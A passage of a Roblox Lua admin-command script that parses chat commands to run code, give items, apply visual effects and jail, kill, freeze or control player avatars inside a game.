for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
452
end
453
454
if msg:lower():sub(1,2) == "s " then
455
coroutine.resume(coroutine.create(function()
456
Output(msg:sub(3), plr)
457
if script:findFirstChild("ScriptBase") then
458
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
459
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
460
else loadstring(msg:sub(3))()
461
end
462
end))
463
end
464
465
if msg:lower():sub(1,3) == "ls " then
466
coroutine.resume(coroutine.create(function()
467
if script:findFirstChild("LocalScriptBase") then
468
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
469
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
470
end
471
end))
472
end
473
474
if msg:lower():sub(1,6) == "lsplr " then
475
local chk1 = msg:lower():sub(7):find(" ") + 6
476
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
477
for i, v in pairs(plrz) do
478
coroutine.resume(coroutine.create(function()
479
if v and v:findFirstChild("PlayerGui") then
480
if script:findFirstChild("LocalScriptBase") then
481
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
482
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
483
end
484
end
485
end))
486
end
487
end
488
489
if msg:lower():sub(1,4) == "ins " then
490
coroutine.resume(coroutine.create(function()
491
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
492
if obj and #obj:children() >= 1 and plr.Character then
493
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
494
end
495
end))
496
end
497
498
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
499
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
500
RemoveMessage()
501
objects = {}
502
end
503
504
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
505
game.Lighting.Ambient = origsettings.abt
506
game.Lighting.Brightness = origsettings.brt
507
game.Lighting.TimeOfDay = origsettings.time
508
game.Lighting.FogColor = origsettings.fclr
509
game.Lighting.FogEnd = origsettings.fe
510
game.Lighting.FogStart = origsettings.fs
511
for i, v in pairs(lobjs) do v:Destroy() end
512
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
513
end
514
515
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
516
coroutine.resume(coroutine.create(function()
517
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
518
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
519
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
520
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
521
end))
522
end
523
524
if msg:lower():sub(1,10) == "countdown " then
525
local num = math.min(tonumber(msg:sub(11)),120)
526
for i = num, 1, -1 do
527
coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
528
wait(1)
529
end
530
end
531
532
if msg:lower():sub(1,3) == "tm " then
533
local chk1 = msg:lower():sub(4):find(" ") + 3
534
local num = tonumber(msg:sub(4,chk1-1))
535
Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
536
end
537
538
if msg:lower():sub(1,2) == "m " then
539
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
540
end
541
542
if msg:lower():sub(1,2) == "h " then
543
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
544
end
545
546
if msg:lower():sub(1,3) == "pm " then
547
local chk1 = msg:lower():sub(4):find(" ") + 3
548
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
549
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
550
end
551
552
if msg:lower():sub(1,11) == "resetstats " then
553
local plrz = GetPlr(plr, msg:lower():sub(12))
554
for i, v in pairs(plrz) do
555
coroutine.resume(coroutine.create(function()
556
if v and v:findFirstChild("leaderstats") then
557
for a, q in pairs(v.leaderstats:children()) do
558
if q:IsA("IntValue") then q.Value = 0 end
559
end
560
end
561
end))
562
end
563
end
564
565
if msg:lower():sub(1,5) == "gear " then
566
local chk1 = msg:lower():sub(6):find(" ") + 5
567
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
568
for i, v in pairs(plrz) do
569
coroutine.resume(coroutine.create(function()
570
if v and v:findFirstChild("Backpack") then
571
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
572
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
573
obj:Destroy()
574
end
575
end))
576
end
577
end
578
579
if msg:lower():sub(1,4) == "hat " then
580
local chk1 = msg:lower():sub(5):find(" ") + 4
581
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
582
for i, v in pairs(plrz) do
583
coroutine.resume(coroutine.create(function()
584
if v and v.Character then
585
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
586
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
587
obj:Destroy()
588
end
589
end))
590
end
591
end
592
593
if msg:lower():sub(1,5) == "cape " then
594
local chk1 = msg:lower():sub(6):find(" ")
595
local plrz = GetPlr(plr, msg:lower():sub(6))
596
local str = "torso.BrickColor"
597
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
598
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
599
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
600
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
601
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
602
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
603
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
604
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
605
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
606
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
607
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
608
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
609
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
610
if BrickColor.new(teststr) ~= nil then str = teststr end
611
end
612
for i, v in pairs(plrz) do
613
coroutine.resume(coroutine.create(function()
614
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
615
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
616
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
617
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
618
local torso = plr.Character.Torso
619
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
620
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
621
p.Size = Vector3.new(.2,.2,.2)
622
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
623
local motor1 = Instance.new("Motor", p)
624
motor1.Part0 = p
625
motor1.Part1 = torso
626
motor1.MaxVelocity = .01
627
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
628
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
629
local wave = false
630
repeat wait(1/44)
631
local ang = 0.1
632
local oldmag = torso.Velocity.magnitude
633
local mv = .002
634
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
635
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
636
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
637
motor1.DesiredAngle = -ang
638
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
639
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
640
if torso.Velocity.magnitude < .1 then wait(.1) end
641
until not p or p.Parent ~= torso.Parent
642
script:Destroy()
643
]] cl.Parent = v.PlayerGui cl.Disabled = false
644
end
645
end))
646
end
647
end
648
649
if msg:lower():sub(1,7) == "uncape " then
650
local plrz = GetPlr(plr, msg:lower():sub(8))
651
for i, v in pairs(plrz) do
652
coroutine.resume(coroutine.create(function()
653
if v and v:findFirstChild("PlayerGui") and v.Character then
654
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
655
end
656
end))
657
end
658
end
659
660
if msg:lower():sub(1,7) == "noclip " then
661
local plrz = GetPlr(plr, msg:lower():sub(8))
662
for i, v in pairs(plrz) do
663
coroutine.resume(coroutine.create(function()
664
if v and v:findFirstChild("PlayerGui") then
665
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
666
cl.Parent = v.PlayerGui cl.Disabled = false
667
end
668
end))
669
end
670
end
671
672
if msg:lower():sub(1,5) == "clip " then
673
local plrz = GetPlr(plr, msg:lower():sub(6))
674
for i, v in pairs(plrz) do
675
coroutine.resume(coroutine.create(function()
676
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
677
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
678
v.Character.Torso.Anchored = false
679
wait(.1) v.Character.Humanoid.PlatformStand = false
680
end
681
end))
682
end
683
end
684
685
if msg:lower():sub(1,5) == "jail " then
686
local plrz = GetPlr(plr, msg:lower():sub(6))
687
for i, v in pairs(plrz) do
688
coroutine.resume(coroutine.create(function()
689
if v and v.Character and v.Character:findFirstChild("Torso") then 
690
local vname = v.Name
691
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
692
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
693
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
694
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
695
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
696
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
697
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
698
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
699
end)
700
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
701
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
702
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
703
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
704
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
705
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
706
local msh2 = msh:Clone() msh2.Parent = back
707
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
708
local msh4 = msh3:Clone() msh4.Parent = left
709
v.Character.Torso.CFrame = cf
710
end
711
end))
712
end
713
end
714
715
if msg:lower():sub(1,7) == "unjail " then
716
local plrz = GetPlr(plr, msg:lower():sub(8))
717
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
718
end
719
720
if msg:lower():sub(1,11) == "starttools " then
721
local plrz = GetPlr(plr, msg:lower():sub(12))
722
for i, v in pairs(plrz) do
723
coroutine.resume(coroutine.create(function()
724
if v and v:findFirstChild("Backpack") then
725
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
726
end
727
end))
728
end
729
end
730
731
if msg:lower():sub(1,6) == "sword " then
732
local plrz = GetPlr(plr, msg:lower():sub(7))
733
for i, v in pairs(plrz) do
734
coroutine.resume(coroutine.create(function()
735
if v and v:findFirstChild("Backpack") then
736
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
737
sword.GripForward = Vector3.new(-1,0,0)
738
sword.GripPos = Vector3.new(0,0,-1.5)
739
sword.GripRight = Vector3.new(0,1,0)
740
sword.GripUp = Vector3.new(0,0,1)
741
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
742
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
743
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
744
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
745
local Damage = 15
746
local SlashSound = Instance.new("Sound", script.Parent.Handle)
747
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
748
SlashSound.Volume = 1
749
local LungeSound = Instance.new("Sound", script.Parent.Handle)
750
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
751
LungeSound.Volume = 1
752
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
753
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
754
UnsheathSound.Volume = 1
755
local last = 0
756
script.Parent.Handle.Touched:connect(function(hit)
757
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
758
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
759
hit.Parent.Humanoid:TakeDamage(Damage)
760
end
761
end)
762
script.Parent.Activated:connect(function()
763
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
764
script.Parent.Enabled = false
765
local tick = game:service("RunService").Stepped:wait()
766
if tick - last <= .2 then
767
LungeSound:play()
768
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
769
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
770
wait(.2)
771
script.Parent.GripForward = Vector3.new(0,0,1)
772
script.Parent.GripRight = Vector3.new(0,-1,0)
773
script.Parent.GripUp = Vector3.new(-1,0,0)
774
wait(.3)
775
frc:Destroy() wait(.5)
776
script.Parent.GripForward = Vector3.new(-1,0,0)
777
script.Parent.GripRight = Vector3.new(0,1,0)
778
script.Parent.GripUp = Vector3.new(0,0,1)
779
else
780
SlashSound:play()
781
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
782
end
783
last = tick
784
script.Parent.Enabled = true
785
end)
786
script.Parent.Equipped:connect(function(mouse)
787
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
788
UnsheathSound:play()
789
script.Parent.Enabled = true
790
if not mouse then return end
791
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
792
end)]] cl.Disabled = false 
793
end
794
end))
795
end
796
end
797
798
if msg:lower():sub(1,6) == "clone " then
799
local plrz = GetPlr(plr, msg:lower():sub(7))
800
for i, v in pairs(plrz) do
801
coroutine.resume(coroutine.create(function()
802
if v and v.Character then 
803
v.Character.Archivable = true 
804
local cl = v.Character:Clone() 
805
table.insert(objects,cl) 
806
cl.Parent = game.Workspace 
807
cl:MoveTo(v.Character:GetModelCFrame().p)
808
cl:MakeJoints()
809
v.Character.Archivable = false 
810
end
811
end))
812
end
813
end
814
815
if msg:lower():sub(1,8) == "control " then
816
local plrz = GetPlr(plr, msg:lower():sub(9))
817
for i, v in pairs(plrz) do
818
coroutine.resume(coroutine.create(function()
819
if v and v.Character then
820
v.Character.Humanoid.PlatformStand = true
821
local w = Instance.new("Weld", plr.Character.Torso ) 
822
w.Part0 = plr.Character.Torso 
823
w.Part1 = v.Character.Torso  
824
local w2 = Instance.new("Weld", plr.Character.Head) 
825
w2.Part0 = plr.Character.Head 
826
w2.Part1 = v.Character.Head  
827
local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm")) 
828
w3.Part0 = plr.Character:findFirstChild("Right Arm")
829
w3.Part1 = v.Character:findFirstChild("Right Arm") 
830
local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
831
w4.Part0 = plr.Character:findFirstChild("Left Arm")
832
w4.Part1 = v.Character:findFirstChild("Left Arm") 
833
local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg")) 
834
w5.Part0 = plr.Character:findFirstChild("Right Leg")
835
w5.Part1 = v.Character:findFirstChild("Right Leg") 
836
local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg")) 
837
w6.Part0 = plr.Character:findFirstChild("Left Leg")
838
w6.Part1 = v.Character:findFirstChild("Left Leg") 
839
plr.Character.Head.face:Destroy()
840
for i, p in pairs(v.Character:children()) do
841
if p:IsA("BasePart") then 
842
p.CanCollide = false
843
end
844
end
845
for i, p in pairs(plr.Character:children()) do
846
if p:IsA("BasePart") then 
847
p.Transparency = 1 
848
elseif p:IsA("Hat") then
849
p:Destroy()
850
end
851
end
852
v.Character.Parent = plr.Character
853
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
854
end
855
end))
856
end
857
end
858
859
if msg:lower():sub(1,5) == "kill " then
860
local plrz = GetPlr(plr, msg:lower():sub(6))
861
for i, v in pairs(plrz) do
862
coroutine.resume(coroutine.create(function()
863
if v and v.Character then v.Character:BreakJoints() end
864
end))
865
end
866
end
867
868
if msg:lower():sub(1,8) == "respawn " then
869
local plrz = GetPlr(plr, msg:lower():sub(9))
870
for i, v in pairs(plrz) do
871
coroutine.resume(coroutine.create(function()
872
if v and v.Character then v:LoadCharacter() end
873
end))
874
end
875
end
876
877
if msg:lower():sub(1,5) == "trip " then
878
local plrz = GetPlr(plr, msg:lower():sub(6))
879
for i, v in pairs(plrz) do
880
coroutine.resume(coroutine.create(function()
881
if v and v.Character and v.Character:findFirstChild("Torso") then 
882
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
883
end
884
end))
885
end
886
end
887
888
if msg:lower():sub(1,5) == "stun " then
889
local plrz = GetPlr(plr, msg:lower():sub(6))
890
for i, v in pairs(plrz) do
891
coroutine.resume(coroutine.create(function()
892
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
893
v.Character.Humanoid.PlatformStand = true
894
end
895
end))
896
end
897
end
898
899
if msg:lower():sub(1,7) == "unstun " then
900
local plrz = GetPlr(plr, msg:lower():sub(8))
901
for i, v in pairs(plrz) do
902
coroutine.resume(coroutine.create(function()
903
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
904
v.Character.Humanoid.PlatformStand = false
905
end
906
end))
907
end
908
end
909
910
if msg:lower():sub(1,5) == "jump " then
911
local plrz = GetPlr(plr, msg:lower():sub(6))
912
for i, v in pairs(plrz) do
913
coroutine.resume(coroutine.create(function()
914
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
915
v.Character.Humanoid.Jump = true
916
end
917
end))
918
end
919
end
920
921
if msg:lower():sub(1,4) == "sit " then
922
local plrz = GetPlr(plr, msg:lower():sub(5))
923
for i, v in pairs(plrz) do
924
coroutine.resume(coroutine.create(function()
925
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
926
v.Character.Humanoid.Sit = true
927
end
928
end))
929
end
930
end
931
932
if msg:lower():sub(1,10) == "invisible " then
933
local plrz = GetPlr(plr, msg:lower():sub(11))
934
for i, v in pairs(plrz) do
935
coroutine.resume(coroutine.create(function()
936
if v and v.Character then 
937
for a, obj in pairs(v.Character:children()) do 
938
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
939
end
940
end
941
end))
942
end
943
end
944
945
if msg:lower():sub(1,8) == "visible " then
946
local plrz = GetPlr(plr, msg:lower():sub(9))
947
for i, v in pairs(plrz) do
948
coroutine.resume(coroutine.create(function()
949
if v and v.Character then 
950
for a, obj in pairs(v.Character:children()) do 
951
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
952
end
953
end
954
end))
955
end
956
end
957
958
if msg:lower():sub(1,5) == "lock " then
959
local plrz = GetPlr(plr, msg:lower():sub(6))
960
for i, v in pairs(plrz) do
961
coroutine.resume(coroutine.create(function()
962
if v and v.Character then 
963
for a, obj in pairs(v.Character:children()) do 
964
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
965
end
966
end
967
end))
968
end
969
end
970
971
if msg:lower():sub(1,7) == "unlock " then
972
local plrz = GetPlr(plr, msg:lower():sub(8))
973
for i, v in pairs(plrz) do
974
coroutine.resume(coroutine.create(function()
975
if v and v.Character then 
976
for a, obj in pairs(v.Character:children()) do 
977
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
978
end
979
end
980
end))
981
end
982
end
983
984
if msg:lower():sub(1,8) == "explode " then
985
local plrz = GetPlr(plr, msg:lower():sub(9))
986
for i, v in pairs(plrz) do
987
coroutine.resume(coroutine.create(function()
988
if v and v.Character and v.Character:findFirstChild("Torso") then 
989
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
990
end
991
end))
992
end
993
end
994
995
if msg:lower():sub(1,4) == "age " then
996
local plrz = GetPlr(plr, msg:lower():sub(5))
997
for i, v in pairs(plrz) do
998
coroutine.resume(coroutine.create(function()
999
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
1000
end))
1001
end
1002
end
1003
1004
if msg:lower():sub(1,5) == "fire " then
1005
local plrz = GetPlr(plr, msg:lower():sub(6))
1006
for i, v in pairs(plrz) do
1007
coroutine.resume(coroutine.create(function()
1008
if v and v.Character and v.Character:findFirstChild("Torso") then 
1009
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
1010
end
1011
end))
1012
end
1013
end
1014
1015
if msg:lower():sub(1,7) == "unfire " then
1016
local plrz = GetPlr(plr, msg:lower():sub(8))
1017
for i, v in pairs(plrz) do
1018
coroutine.resume(coroutine.create(function()
1019
if v and v.Character and v.Character:findFirstChild("Torso") then 
1020
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
1021
end
1022
end))
1023
end
1024
end
1025
1026
if msg:lower():sub(1,6) == "smoke " then
1027
local plrz = GetPlr(plr, msg:lower():sub(7))
1028
for i, v in pairs(plrz) do
1029
coroutine.resume(coroutine.create(function()
1030
if v and v.Character and v.Character:findFirstChild("Torso") then 
1031
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
1032
end
1033
end))
1034
end
1035
end
1036
1037
if msg:lower():sub(1,8) == "unsmoke " then
1038
local plrz = GetPlr(plr, msg:lower():sub(9))
1039
for i, v in pairs(plrz) do
1040
coroutine.resume(coroutine.create(function()
1041
if v and v.Character and v.Character:findFirstChild("Torso") then 
1042
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
1043
end
1044
end))
1045
end
1046
end
1047
1048
if msg:lower():sub(1,9) == "sparkles " then
1049
local plrz = GetPlr(plr, msg:lower():sub(10))
1050
for i, v in pairs(plrz) do
1051
coroutine.resume(coroutine.create(function()
1052
if v and v.Character and v.Character:findFirstChild("Torso") then 
1053
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
1054
end
1055
end))
1056
end
1057
end
1058
1059
if msg:lower():sub(1,11) == "unsparkles " then
1060
local plrz = GetPlr(plr, msg:lower():sub(12))
1061
for i, v in pairs(plrz) do
1062
coroutine.resume(coroutine.create(function()
1063
if v and v.Character and v.Character:findFirstChild("Torso") then 
1064
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
1065
end
1066
end))
1067
end
1068
end
1069
1070
if msg:lower():sub(1,3) == "ff " then
1071
local plrz = GetPlr(plr, msg:lower():sub(4))
1072
for i, v in pairs(plrz) do
1073
coroutine.resume(coroutine.create(function()
1074
if v and v.Character then Instance.new("ForceField", v.Character) end
1075
end))
1076
end
1077
end
1078
1079
if msg:lower():sub(1,5) == "unff " then
1080
local plrz = GetPlr(plr, msg:lower():sub(6))
1081
for i, v in pairs(plrz) do
1082
coroutine.resume(coroutine.create(function()
1083
if v and v.Character then 
1084
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
1085
end
1086
end))
1087
end
1088
end
1089
1090
if msg:lower():sub(1,7) == "punish " then
1091
local plrz = GetPlr(plr, msg:lower():sub(8))
1092
for i, v in pairs(plrz) do
1093
coroutine.resume(coroutine.create(function()
1094
if v and v.Character then 
1095
v.Character.Parent = game:service("Lighting")
1096
end
1097
end))
1098
end
1099
end
1100
1101
if msg:lower():sub(1,9) == "unpunish " then
1102
local plrz = GetPlr(plr, msg:lower():sub(10))
1103
for i, v in pairs(plrz) do
1104
coroutine.resume(coroutine.create(function()
1105
if v and v.Character then 
1106
v.Character.Parent = game:service("Workspace")
1107
v.Character:MakeJoints()
1108
end
1109
end))
1110
end
1111
end
1112
1113
if msg:lower():sub(1,7) == "freeze " then
1114
